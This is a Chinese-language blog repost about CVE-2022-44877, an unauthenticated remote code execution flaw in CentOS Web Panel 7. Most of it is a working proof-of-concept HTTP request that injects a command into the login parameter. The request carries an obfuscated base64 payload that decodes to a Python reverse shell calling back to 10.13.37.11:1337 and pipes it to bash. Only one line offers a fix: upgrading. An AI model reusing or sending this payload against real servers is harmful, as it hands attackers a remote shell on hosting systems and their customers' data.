Centos Web 面板 7 未经身份验证的远程代码执行 – CVE-2022-44877

渗透技巧 1年前 (2023) admin
402 0 0
 

[+] Centos Web Panel 7 Unauthenticated Remote Code Execution[+] Centos Web Panel 7 - < 0.9.8.1147[+] Affected Component ip:2031/login/index.php?login=$(whoami)

 

Centos Web 面板 7 未经身份验证的远程代码执行 - CVE-2022-44877

 

➜  CVE-2022-44877 echo "example_log" >> log➜  CVE-2022-44877 cat logexample_log➜  CVE-2022-44877 echo "example_log $(whoami)" >> log➜  CVE-2022-44877 cat logexample_logexample_log root➜  CVE-2022-44877

 

Centos Web 面板 7 未经身份验证的远程代码执行 - CVE-2022-44877

Centos Web 面板 7 未经身份验证的远程代码执行 - CVE-2022-44877

POC

 

POST /login/index.php?login=$(echo${IFS}cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMTMuMzcuMTEiLDEzMzcpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJzaCIpJyAg${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash) HTTP/1.1Host: 10.13.37.10:2031
Cookie: cwpsrv-2dbdc5905576590830494c54c04a1b01=6ahj1a6etv72ut1eaupietdk82
Content-Length: 40
Origin: https://10.13.37.10:2031
Content-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: https://10.13.37.10:2031/login/index.php?login=failed
Accept-Encoding: gzip, deflate
Accept-Language: enConnection: close

username=root&password=toor&commit=Login

 

解决方案升级到 CWP7 当前版本。

原文始发于微信公众号(Khan安全攻防实验室):Centos Web 面板 7 未经身份验证的远程代码执行 – CVE-2022-44877

版权声明:admin 发表于 2023年2月8日 上午8:28。
转载请注明:Centos Web 面板 7 未经身份验证的远程代码执行 – CVE-2022-44877 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...